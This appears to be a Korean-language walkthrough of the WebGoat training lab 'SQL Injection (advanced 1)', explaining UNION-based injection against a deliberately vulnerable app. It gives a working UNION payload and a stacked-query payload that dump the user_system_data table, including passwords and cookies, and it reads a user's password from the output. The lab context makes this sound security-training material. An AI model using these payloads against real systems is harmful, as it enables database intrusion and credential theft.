WebGoat - SQL Injection (advanced 1)

다른 테이블에서 데이터 추출하기


Union SQL Injection이란 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 연산자를 이용해 데이터베이스를 조작하는 공격이다.


WebGoat 데이터베이스의 여러 테이블 중 하나는 다음과 같다.

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));


a) UNION 또는 JOIN으로 테이블들 결합하기

이전 문제에 사용했던 ‘Smith’를 입력해보면 7개의 애트리뷰트를 가진 다른 테이블을 확인할 수 있다.

webgoat_sqli_adv1


이 테이블과 user_system_data 테이블을 UNION으로 결합해보자. 이 때, 애트리뷰트의 개수를 맞춰주어야 한다.

Smith' union select userid, user_name, password, cookie, null, null, null from user_system_data --

webgoat_sqli2_adv2


다중 쿼리를 이용해서 문제를 풀 수도 있다.

'; select * from user_system_data --

webgoat_sqli2_adv2


b) Dave의 password 추출하기

위의 결과를 통해 Dave의 password는 passW0rD임을 알 수 있다.

webgoat_sqli2_adv3